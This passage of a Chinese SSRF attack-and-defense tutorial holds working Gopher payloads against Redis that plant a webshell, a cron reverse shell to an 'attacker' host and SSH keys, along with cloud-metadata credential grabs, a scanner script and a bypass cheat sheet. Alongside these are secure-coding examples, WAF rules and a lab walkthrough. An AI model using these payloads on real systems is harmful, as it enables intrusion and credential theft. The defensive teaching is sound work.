MAIL FROM: <admin@target.com>
RCPT TO: <victim@example.com>
DATA
Subject: Urgent Notification
From: admin@target.com
To: victim@example.com

This is a forged email via SSRF.
.
QUIT

# Gopher payload
gopher://127.0.0.1:25/_HELO%20attacker.com%0d%0aMAIL%20FROM:%20%3Cadmin@target.com%3E%0d%0aRCPT%20TO:%20%3Cvictim@example.com%3E%0d%0aDATA%0d%0aSubject:%20Urgent%0d%0a%0d%0aForged%20email%0d%0a.%0d%0aQUIT%0d%0a

7.6 Gopher打Zabbix

Zabbix Server默认端口10051,存在未授权时可利用Gopher执行命令:

复制代码
# Zabbix通过agent关键字执行命令
gopher://127.0.0.1:10051/_<Zabbix协议数据包>

7.7 完整Gopher Payload集

复制代码
# Redis - INFO
gopher://127.0.0.1:6379/_INFO%0d%0a

# Redis - 写Webshell
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a<php_webshell>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# Redis - 写Cron
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$66%0d%0a%0a%0a*%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/attacker/4444%200%3E%261%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# Redis - 写SSH公钥
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$393%0d%0a%0a%0a<ssh公钥内容>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# FastCGI - RCE
gopher://127.0.0.1:9000/_<FastCGI payload>

# SMTP - 邮件伪造
gopher://127.0.0.1:25/_<SMTP命令序列>

八、SSRF与其他漏洞组合

SSRF的真正威力在于与其他漏洞组合,形成完整的攻击链。

8.1 SSRF + Redis未授权 -> RCE

这是最经典的SSRF组合利用链,流程如下:

  1. 通过SSRF探测内网,发现Redis(6379端口)
  2. 利用Gopher协议向Redis发送命令
  3. 写入Webshell/Cron/SSH公钥
  4. 获取服务器权限

完整攻击链Payload:

复制代码
# 第一步:探测Redis
dict://192.168.1.10:6379/INFO

# 第二步:写入Webshell
gopher://192.168.1.10:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a%3C%3Fphp%20@eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# 第三步:访问Webshell
http://192.168.1.10/shell.php

8.2 SSRF + MySQL未授权 -> 数据窃取

当内网MySQL存在未授权访问时:

复制代码
# 通过Gopher执行MySQL查询
gopher://192.168.1.20:3306/_<MySQL查询数据包>

# 使用Gopherus生成payload
python gopherus.py --exploit mysql

8.3 SSRF + 内网其他服务

SSRF可组合的内网服务:

内网服务 组合利用 效果
Elasticsearch SSRF + REST API 数据读取、脚本执行
Docker API SSRF + 2375端口 容器逃逸、宿主接管
Kubernetes API SSRF + Token 集群接管
Memcached SSRF + 未授权 缓存数据读取
MongoDB SSRF + 未授权 数据库数据读取
ActiveMQ SSRF + 默认口令 消息队列控制
Jenkins SSRF + 脚本执行 RCE
Spring Actuator SSRF + /env端点 配置泄露、RCE

8.4 SSRF + XXE

SSRF可与XXE漏洞组合,通过XXE的外部实体加载触发SSRF:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>

8.5 SSRF + 文件读取

利用file协议读取配置文件,获取更多内网信息:

复制代码
# 读取应用配置获取内网拓扑
file:///etc/hosts
file:///app/config/database.yml
file:///var/www/html/.env

# 读取Redis配置获取密码
file:///etc/redis/redis.conf

# 读取Nginx配置获取后端服务
file:///etc/nginx/nginx.conf
file:///etc/nginx/conf.d/default.conf

8.6 完整组合利用链

以一个典型内网环境为例,完整攻击链如下:

  1. SSRF读取hosts文件,发现内网服务

    file:///etc/hosts

    发现 192.168.1.10 (Redis), 192.168.1.20 (MySQL), 192.168.1.30 (Web)

  2. SSRF读取Nginx配置,发现后端API

    file:///etc/nginx/conf.d/default.conf

    发现 proxy_pass http://192.168.1.30:8080/api

  3. SSRF探测Redis未授权

    dict://192.168.1.10:6379/INFO

  4. Gopher打Redis写Webshell

    gopher://192.168.1.10:6379/_<写shell payload>

  5. 通过Webshell获取内网shell,横向移动

九、SSRF攻击工具与自动化

9.1 SSRFmap使用指南

SSRFmap是一个流行的SSRF自动化利用框架,支持多种利用模块。

安装与使用:

bash 复制代码
# 安装
git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip3 install -r requirements.txt

# 基本使用
python3 ssrfmap.py -r request.txt -p url -m readfiles

# 参数说明
# -r: 请求文件(Burp保存的请求)
# -p: SSRF参数名
# -m: 利用模块

SSRFmap支持模块:

复制代码
# 常用模块
readfiles      # 读取文件
portscan       # 端口扫描
aws            # AWS元数据
gopher         # Gopher协议利用
redis          # Redis攻击
mysql          # MySQL攻击
fastcgi        # FastCGI攻击
kdb            # Kubernetes利用

请求文件示例(request.txt):

复制代码
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

url=testvalue

9.2 Gopherus工具使用

Gopherus用于生成各种服务的Gopher payload。

bash 复制代码
# 安装
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
pip3 install -r requirements.txt

# 生成Redis写Webshell payload
python3 gopherus.py --exploit redis

# 生成MySQL利用payload
python3 gopherus.py --exploit mysql

# 生成FastCGI RCE payload
python3 gopherus.py --exploit fastcgi

# 生成SMTP邮件伪造payload
python3 gopherus.py --exploit smtp

# 生成Zabbix利用payload
python3 gopherus.py --exploit zabbix

9.3 SSRF-Request-Generator

用于将HTTP请求转换为Gopher格式的工具:

bash 复制代码
# 安装
git clone https://github.com/cybergrandchallenge/ssrf-requests.git

# 将HTTP请求转为Gopher payload
python3 ssrf-request-generator.py

9.4 自定义SSRF扫描脚本

完整的SSRF自动化扫描与利用脚本:

python 复制代码
import requests
import socket
import ipaddress
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed

class SSRFScanner:
    def __init__(self):
        self.internal_ranges = [
            "127.0.0.0/8",
            "10.0.0.0/8",
            "172.16.0.0/12",
            "192.168.0.0/16",
            "169.254.0.0/16",  # 链路本地(云元数据)
            "100.100.0.0/16",  # 阿里云元数据
        ]

    def is_internal_ip(self, ip):
        """判断是否为内网IP"""
        addr = ipaddress.ip_address(ip)
        for net in self.internal_ranges:
            if addr in ipaddress.ip_network(net):
                return True
        return False

    def scan_port(self, target_url, param, host, port, timeout=10):
        """扫描单个端口"""
        payload = f"http://{host}:{port}"
        try:
            r = requests.get(target_url, params={param: payload}, timeout=timeout)
            return {
                "host": host, "port": port,
                "status": r.status_code,
                "length": len(r.text),
                "time": r.elapsed.total_seconds()
            }
        except requests.exceptions.Timeout:
            return {"host": host, "port": port, "status": "timeout"}
        except:
            return {"host": host, "port": port, "status": "error"}

    def scan_common_ports(self, target_url, param, host):
        """扫描常见端口"""
        common_ports = [22, 21, 80, 443, 3306, 6379, 11211, 27017,
                        9200, 9000, 8080, 8443, 2375, 8500, 6443]
        results = []
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(self.scan_port, target_url, param, host, p)
                      for p in common_ports]
            for future in as_completed(futures):
                result = future.result()
                if result["status"] not in ["timeout", "error"]:
                    results.append(result)
                    print(f"[+] {result['host']}:{result['port']} -> {result['status']}")
        return results

    def try_protocols(self, target_url, param):
        """测试多种协议"""
        protocols_payloads = {
            "file_etc_passwd": "file:///etc/passwd",
            "file_win_ini": "file:///C:/Windows/win.ini",
            "file_hosts": "file:///etc/hosts",
            "dict_redis": "dict://127.0.0.1:6379/INFO",
            "dict_mysql": "dict://127.0.0.1:3306/",
            "gopher_redis": "gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a",
            "aws_metadata": "http://169.254.169.254/latest/meta-data/",
            "aliyun_metadata": "http://100.100.100.200/latest/meta-data/",
        }
        results = []
        for name, payload in protocols_payloads.items():
            try:
                r = requests.get(target_url, params={param: payload}, timeout=10)
                result = {
                    "test": name, "payload": payload,
                    "status": r.status_code, "length": len(r.text)
                }
                results.append(result)
                print(f"[*] {name}: {r.status_code} | {len(r.text)} bytes")
                if len(r.text) > 0:
                    print(f"    Preview: {r.text[:200]}")
            except Exception as e:
                print(f"[!] {name}: Error - {e}")
        return results

    def run(self, target_url, param, scan_host="127.0.0.1"):
        """执行完整扫描"""
        print(f"=== SSRF Scan: {target_url} (param: {param}) ===\n")
        print("[*] Testing protocols...")
        self.try_protocols(target_url, param)
        print(f"\n[*] Scanning ports on {scan_host}...")
        self.scan_common_ports(target_url, param, scan_host)
        print("\n[+] Scan complete")

if __name__ == "__main__":
    scanner = SSRFScanner()
    scanner.run("http://target.com/api/fetch", "url")

9.5 Burp Suite SSRF检测

Burp Suite中SSRF检测方法:

  1. 使用Burp Collaborator作为带外检测通道
  2. 配置Collaborator客户端获取payload地址
  3. 对所有URL参数注入Collaborator地址
  4. 检查Collaborator是否收到回调

Burp Suite插件推荐:

插件 功能
Collaborator Everywhere 自动注入 Collaborator payload
SSRF Reflection Finder 检测SSRF反射
Param Miner 参数发现与探测
Logger++ 请求日志与搜索

9.6 完整自动化扫描流程

复制代码
1. 使用Param Miner发现隐藏URL参数
2. 使用Collaborator Everywhere自动注入回调payload
3. 检查Collaborator面板是否收到DNS/HTTP回调
4. 对确认的SSRF点使用SSRFmap进行深度利用
5. 使用Gopherus生成Gopher payload攻击内网服务
6. 记录所有发现并生成报告

十、SSRF防御方案

10.1 输入验证与URL白名单

最基础的防御是对用户输入的URL进行严格校验:

python 复制代码
import re
from urllib.parse import urlparse

def validate_url(url, allowed_domains=None):
    """验证URL是否安全"""
    try:
        parsed = urlparse(url)
    except:
        return False

    # 仅允许http和https协议
    if parsed.scheme not in ['http', 'https']:
        return False

    # 域名白名单检查
    if allowed_domains:
        if parsed.hostname not in allowed_domains:
            return False

    # 禁止@符号(防止URL解析差异绕过)
    if '@' in url:
        return False

    # 禁止#符号绕过
    if '#' in parsed.netloc:
        return False

    return True

10.2 DNS解析后IP校验

这是最关键的一步:在DNS解析后检查实际IP是否为内网地址,防止DNS重绑定。

python 复制代码
import socket
import ipaddress

def is_safe_ip(ip):
    """检查IP是否为安全的公网IP"""
    try:
        addr = ipaddress.ip_address(ip)
    except:
        return False

    # 禁止内网IP
    internal_ranges = [
        ipaddress.ip_network("127.0.0.0/8"),
        ipaddress.ip_network("10.0.0.0/8"),
        ipaddress.ip_network("172.16.0.0/12"),
        ipaddress.ip_network("192.168.0.0/16"),
        ipaddress.ip_network("169.254.0.0/16"),  # 链路本地(云元数据)
        ipaddress.ip_network("100.100.0.0/16"),   # 阿里云元数据
        ipaddress.ip_network("0.0.0.0/8"),
    ]

    for net in internal_ranges:
        if addr in net:
            return False

    # 禁止IPv6回环
    if addr == ipaddress.ip_address("::1"):
        return False

    return True

def safe_request(url):
    """安全的URL请求:DNS解析后校验IP"""
    parsed = urlparse(url)
    hostname = parsed.hostname

    # DNS解析获取实际IP
    try:
        ips = socket.getaddrinfo(hostname, None)
    except:
        raise Exception("DNS resolution failed")

    for ip_info in ips:
        ip = ip_info[4][0]
        if not is_safe_ip(ip):
            raise Exception(f"Blocked internal IP: {ip}")

    # 设置短TTL防止DNS重绑定
    # 使用自定义DNS解析器固定IP
    return requests.get(url, allow_redirects=False)

10.3 禁用危险协议

在URL校验阶段,仅允许http和https协议:

python 复制代码
def check_protocol(url):
    parsed = urlparse(url)
    allowed_schemes = ['http', 'https']
    if parsed.scheme not in allowed_schemes:
        raise Exception(f"Protocol {parsed.scheme} is not allowed")

10.4 请求重定向禁用与限制

禁用自动重定向,防止302跳转绕过:

python 复制代码
# Python requests
response = requests.get(url, allow_redirects=False)

# 如果需要跟随重定向,每次跳转后重新校验IP
class SafeSession(requests.Session):
    def resolve_redirects(self, resp, req, stream=False, timeout=None,
                         verify=True, cert=None, proxies=None, yield_requests=False, **adapter_kwargs):
        for redirect in super().resolve_redirects(resp, req, **adapter_kwargs):
            # 对每个重定向目标重新校验IP
            parsed = urlparse(redirect.url)
            ips = socket.getaddrinfo(parsed.hostname, None)
            for ip_info in ips:
                ip = ip_info[4][0]
                if not is_safe_ip(ip):
                    raise Exception(f"Redirect to internal IP blocked: {ip}")
            yield redirect

10.5 网络层隔离

通过网络层防护限制SSRF的影响范围:

bash 复制代码
# iptables规则:禁止Web容器访问元数据地址
iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 169.254.0.23 -j DROP
iptables -A OUTPUT -d 100.100.100.200 -j DROP

# 限制Web容器只能访问外网80/443
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP

10.6 代理服务器配置

通过代理服务器统一出口,并限制内网访问:

nginx 复制代码
# Nginx正向代理配置
server {
    listen 8080;
    location / {
        proxy_pass $scheme://$host$request_uri;
        # 禁止代理到内网
        if ($host ~* "^(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.)") {
            return 403;
        }
        # 禁止特定域名
        if ($host ~* "localhost|metadata|internal") {
            return 403;
        }
    }
}

10.7 各语言安全代码示例

PHP安全示例
php 复制代码
<?php
function isSafeIP($ip) {
    $internal_patterns = [
        '/^127\./', '/^10\./', '/^192\.168\./',
        '/^172\.(1[6-9]|2[0-9]|3[01])\./',
        '/^169\.254\./', '/^100\.100\./', '/^0\./'
    ];
    foreach ($internal_patterns as $pattern) {
        if (preg_match($pattern, $ip)) {
            return false;
        }
    }
    // IPv6回环
    if ($ip === '::1' || strpos($ip, '::ffff:127.') === 0) {
        return false;
    }
    return true;
}

function safeFetch($url) {
    $parsed = parse_url($url);
    // 仅允许http/https
    if (!in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
        throw new Exception("Protocol not allowed");
    }
    // 禁止@
    if (strpos($url, '@') !== false) {
        throw new Exception("@ symbol not allowed");
    }
    // DNS解析后校验
    $ip = gethostbyname($parsed['host']);
    if (!isSafeIP($ip)) {
        throw new Exception("Internal IP blocked");
    }
    // 使用curl并禁用重定向
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    return curl_exec($ch);
}
?>
Java安全示例
java 复制代码
import java.net.*;
import java.util.regex.*;

public class SSRFProtection {
    private static final Pattern INTERNAL_IP = Pattern.compile(
        "^(127\\.|10\\.|192\\.168\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|169\\.254\\.|100\\.100\\.|0\\.)"
    );

    public static boolean isSafeIP(String ip) {
        if (INTERNAL_IP.matcher(ip).find()) return false;
        if (ip.equals("::1") || ip.startsWith("::ffff:127.")) return false;
        return true;
    }

    public static String safeRequest(String urlString) throws Exception {
        URL url = new URL(urlString);
        // 协议白名单
        if (!url.getProtocol().matches("https?")) {
            throw new SecurityException("Protocol not allowed");
        }
        // DNS解析后校验
        InetAddress[] addresses = InetAddress.getAllByName(url.getHost());
        for (InetAddress addr : addresses) {
            if (!isSafeIP(addr.getHostAddress())) {
                throw new SecurityException("Internal IP blocked");
            }
        }
        // 禁用重定向
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setInstanceFollowRedirects(false);
        conn.setConnectTimeout(10000);
        conn.setReadTimeout(10000);
        // 读取响应
        try (var is = conn.getInputStream()) {
            return new String(is.readAllBytes());
        }
    }
}
Go安全示例
go 复制代码
package main

import (
    "fmt"
    "net"
    "net/http"
    "net/url"
    "regexp"
    "time"
)

var internalIPPattern = regexp.MustCompile(
    `^(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.|0\.)`,
)

func isSafeIP(ip string) bool {
    if internalIPPattern.MatchString(ip) {
        return false
    }
    if ip == "::1" || ip == "::" {
        return false
    }
    return true
}

func safeFetch(rawURL string) (string, error) {
    parsed, err := url.Parse(rawURL)
    if err != nil {
        return "", err
    }
    // 协议白名单
    if parsed.Scheme != "http" && parsed.Scheme != "https" {
        return "", fmt.Errorf("protocol not allowed")
    }
    // 禁止@
    if parsed.User != nil {
        return "", fmt.Errorf("userinfo not allowed")
    }
    // DNS解析后校验
    ips, err := net.LookupIP(parsed.Hostname())
    if err != nil {
        return "", err
    }
    for _, ip := range ips {
        if !isSafeIP(ip.String()) {
            return "", fmt.Errorf("internal IP blocked: %s", ip)
        }
    }
    // 自定义Transport禁用重定向
    client := &http.Client{
        Timeout: 10 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
    resp, err := client.Get(rawURL)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()
    buf := make([]byte, 4096)
    n, _ := resp.Body.Read(buf)
    return string(buf[:n]), nil
}

10.8 WAF规则配置

WAF层面的SSRF防护规则示例(ModSecurity):

复制代码
# ModSecurity规则:检测SSRF特征
SecRule ARGS "@rx (?i)(file://|gopher://|dict://|ldap://|tftp://)" \
    "id:1001,phase:2,deny,status:403,msg:'SSRF Dangerous Protocol Detected'"

# 检测内网IP
SecRule ARGS "@rx (?i)(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.)" \
    "id:1002,phase:2,deny,status:403,msg:'SSRF Internal IP Detected'"

# 检测云元数据地址
SecRule ARGS "@rx (?i)169\.254\.169\.254" \
    "id:1003,phase:2,deny,status:403,msg:'SSRF Cloud Metadata Access'"

# 检测@符号绕过
SecRule ARGS "@rx @" \
    "id:1004,phase:2,deny,status:403,msg:'SSRF @ bypass attempt'"

十一、靶场实战:完整SSRF攻击链

11.1 靶场环境搭建

使用Docker Compose搭建模拟内网环境:

yaml 复制代码
# docker-compose.yml
version: '3'
services:
  web-app:
    image: vuln-ssrf-app:latest
    build: ./web-app
    ports:
      - "8080:80"
    networks:
      - internal
    depends_on:
      - redis
      - metadata-sim

  redis:
    image: redis:5-alpine
    command: redis-server --protected-mode no
    networks:
      - internal

  metadata-sim:
    image: metadata-server:latest
    build: ./metadata-sim
    networks:
      - internal

networks:
  internal:
    driver: bridge

模拟云元数据服务:

python 复制代码
# metadata-sim/app.py
from flask import Flask, request, jsonify
import json

app = Flask(__name__)

METADATA = {
    "instance-id": "i-ssrf-target-001",
    "iam": {
        "security-credentials": {
            "ssrf-role": {
                "AccessKeyId": "AKIAxxxxxxxxxxx",
                "SecretAccessKey": "sssssecretkeyxxxxxx",
                "Token": "temp0raryt0kenvalue",
            }
        }
    }
}

@app.route('/latest/meta-data/')
def metadata_root():
    return "iam/\ninstance-id\n"

@app.route('/latest/meta-data/<path:path>')
def metadata_path(path):
    parts = path.split('/')
    data = METADATA
    for part in parts:
        if isinstance(data, dict) and part in data:
            data = data[part]
        elif isinstance(data, dict):
            return "Not Found", 404
    if isinstance(data, (dict, list)):
        return json.dumps(data, indent=2)
    return str(data)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

模拟存在SSRF漏洞的Web应用:

php 复制代码
<?php
# web-app/index.php - 存在SSRF漏洞
$url = $_GET['url'] ?? '';
if ($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  // 漏洞:跟随重定向
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    echo "<h2>Fetch Result</h2>";
    echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
?>

启动靶场:

bash 复制代码
docker-compose up -d
# 访问 http://localhost:8080

11.2 从发现到RCE的完整流程

第一步:发现SSRF漏洞

访问Web应用,测试url参数:

复制代码
http://localhost:8080/?url=http://example.com

确认服务端会请求指定URL。

第二步:读取本地文件
复制代码
http://localhost:8080/?url=file:///etc/passwd
http://localhost:8080/?url=file:///etc/hosts

从hosts文件中获取内网拓扑信息,发现Redis容器和元数据服务。

第三步:获取云元数据凭据
复制代码
http://localhost:8080/?url=http://metadata-sim/latest/meta-data/iam/security-credentials/
http://localhost:8080/?url=http://metadata-sim/latest/meta-data/iam/security-credentials/ssrf-role

成功获取AK/SK临时凭据。

第四步:探测内网Redis
复制代码
http://localhost:8080/?url=dict://redis:6379/INFO

确认Redis存在未授权访问。

第五步:Gopher打Redis写Webshell

使用Gopherus生成payload:

bash 复制代码
python3 gopherus.py --exploit redis
# 输入Webshell路径: /var/www/html/shell.php
# 输入PHP代码: <?php system($_GET['cmd']); ?>

将生成的payload通过SSRF发送:

复制代码
http://localhost:8080/?url=gopher://redis:6379/_<生成的payload>
第六步:利用Webshell
复制代码
http://localhost:8080/shell.php?cmd=id
http://localhost:8080/shell.php?cmd=whoami

成功获取服务器命令执行权限,完成从SSRF到RCE的完整攻击链。

11.3 防御加固实战

对靶场进行加固修复:

修复后的安全代码:

php 复制代码
<?php
# web-app/safe.php - 修复SSRF
function isSafeIP($ip) {
    $patterns = [
        '/^127\./', '/^10\./', '/^192\.168\./',
        '/^172\.(1[6-9]|2[0-9]|3[01])\./',
        '/^169\.254\./', '/^100\.100\./', '/^0\./'
    ];
    foreach ($patterns as $p) {
        if (preg_match($p, $ip)) return false;
    }
    return true;
}

function safeFetch($url) {
    $parsed = parse_url($url);
    // 协议白名单
    if (!in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
        throw new Exception("Protocol blocked");
    }
    // 禁止@
    if (strpos($url, '@') !== false) {
        throw new Exception("@ blocked");
    }
    // 域名白名单(可选)
    $allowed = ['api.partner.com', 'cdn.example.com'];
    if (!in_array($parsed['host'], $allowed)) {
        throw new Exception("Domain not whitelisted");
    }
    // DNS解析后校验IP
    $ip = gethostbyname($parsed['host']);
    if (!isSafeIP($ip)) {
        throw new Exception("Internal IP blocked");
    }
    // cURL安全配置
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁用重定向
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    return curl_exec($ch);
}

try {
    $url = $_GET['url'] ?? '';
    if ($url) {
        echo safeFetch($url);
    }
} catch (Exception $e) {
    http_response_code(403);
    echo "Blocked: " . $e->getMessage();
}
?>

网络层加固:

bash 复制代码
# 禁止Web容器访问元数据
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# 限制Redis仅内网访问且需要认证
# Redis配置: requirepass strongpassword123

十二、总结与参考资源

12.1 SSRF检查清单

检查项 说明 状态
URL参数校验 仅允许http/https协议 待检查
DNS解析后IP校验 禁止内网/保留/元数据IP 待检查
禁用危险协议 禁止file/gopher/dict/ldap 待检查
禁用重定向 或每次重定向后重新校验 待检查
域名白名单 仅允许已知可信域名 待检查
网络层隔离 防火墙禁止访问元数据地址 待检查
元数据加固 启用IMDSv2、添加路由过滤 待检查
错误处理 不泄露内部网络信息 待检查
请求超时 设置合理超时防止时间探测 待检查
日志审计 记录所有外发请求 待检查

12.2 绕过技术速查表

绕过类型 方法 示例
IP十进制 整数表示 http://2130706433/
IP十六进制 十六进制表示 http://0x7f000001/
IP八进制 八进制表示 http://017700000001/
IPv6 IPv6回环 http://::1/
省略写法 简写本地地址 http://127.1/
全零地址 0.0.0.0 http://0.0.0.0/
域名解析 泛解析服务 http://127.0.0.1.xip.io/
@符号 URL解析差异 http://safe@127.0.0.1/
302跳转 重定向到内网 http://attacker/redirect
DNS重绑定 TTL=0交替解析 http://rebind.attacker.com/

12.3 协议利用速查表

协议 用途 示例
file 读取本地文件 file:///etc/passwd
dict 端口探测/服务信息 dict://127.0.0.1:6379/INFO
gopher 任意TCP数据包 gopher://127.0.0.1:6379/_...
http/https 内网Web扫描 http://127.0.0.1:8080
ldap 目录服务查询 ldap://127.0.0.1:389/
tftp UDP文件传输 tftp://127.0.0.1/file

12.4 云元数据地址速查

云厂商 地址 凭据路径
AWS 169.254.169.254 /latest/meta-data/iam/security-credentials/
阿里云 100.100.100.200 /latest/meta-data/ram/security-credentials/
腾讯云 169.254.0.23 /latest/meta-data/cam/security-credentials/
华为云 169.254.169.254 /latest/meta-data/iam/security-credentials/
Azure 169.254.169.254 /metadata/instance (需Header)
GCP metadata.google.internal /computeMetadata/v1/ (需Header)

12.5 参考资源列表

资源 说明
OWASP SSRF https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
SSRFmap https://github.com/swisskyrepo/SSRFmap
Gopherus https://github.com/tarunkant/Gopherus
PortSwigger SSRF https://portswigger.net/web-security/ssrf
AWS IMDS文档 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
阿里云元数据 https://help.aliyun.com/document_detail/214358.html
DNS Rebinding https://en.wikipedia.org/wiki/DNS_rebinding
PayloadsAllTheThings SSRF https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery
HackTricks SSRF https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
PortSwigger Web Security Academy SSRF实操靶场

12.6 合规声明

【提示】 本文所有技术内容、payload、脚本和配置示例仅供以下合法用途:授权渗透测试、安全研究学习、企业安全防御建设、安全教学与培训。未经授权对任何真实系统使用本文所述技术属于违法行为,可能导致严重的法律后果。作者不对任何滥用行为承担责任。请始终遵守当地法律法规,在获得明确书面授权的前提下进行安全测试。如需实践,请使用本文提供的靶场环境或PortSwigger Web Security Academy等合法靶场平台。

本文全面覆盖了SSRF漏洞从基础原理到高级利用的完整知识体系。掌握SSRF攻防技术的关键在于理解"服务端代替用户发起请求"这一核心机制,以及多协议、DNS解析、云元数据等利用维度。在防御侧,DNS解析后IP校验 + 协议白名单 + 网络隔离的三层防护体系是最有效的SSRF防护策略。希望本文能为安全从业者提供系统化的SSRF攻防参考。

相关推荐
HiDev_1 小时前
【非标自动化】2、认识元器件(数字量输入输出模块)
运维·自动化
逸Y 仙X1 小时前
Spark SQL
java·大数据·sql·spark
白猫不黑2 小时前
AI Agent自动化渗透测试实战:从原理到红队实践
运维·人工智能·web安全·网络安全·信息安全·渗透测试·自动化
yours_Gabriel2 小时前
【一】数据库基础:SQL语句、函数、约束、多表查询、事务
数据库·sql·oracle
Rain的Java大神之路12 小时前
短信接口被狂刷怎么处理
java·运维·后端·web安全·面试·架构·xss
DeepVisionary13 小时前
从 Qwen3.8-27B 把原生多模态、原生 FP8、桌面级 Agent 三件事一次集齐,看开源大模型的“工业化拐点“
python·自动化
接口不宕机14 小时前
外贸公司实战:利用 1688API 自动化监控竞品价格,解决采购定价痛点
运维·自动化
小网洞15 小时前
免费WPA无线握手包在线分析跑包网站
网络·网络安全·密码学·wps
其实防守也摸鱼17 小时前
接口审计:从原理到实践的万字深度指南
数据库·安全·自动化·github·copilot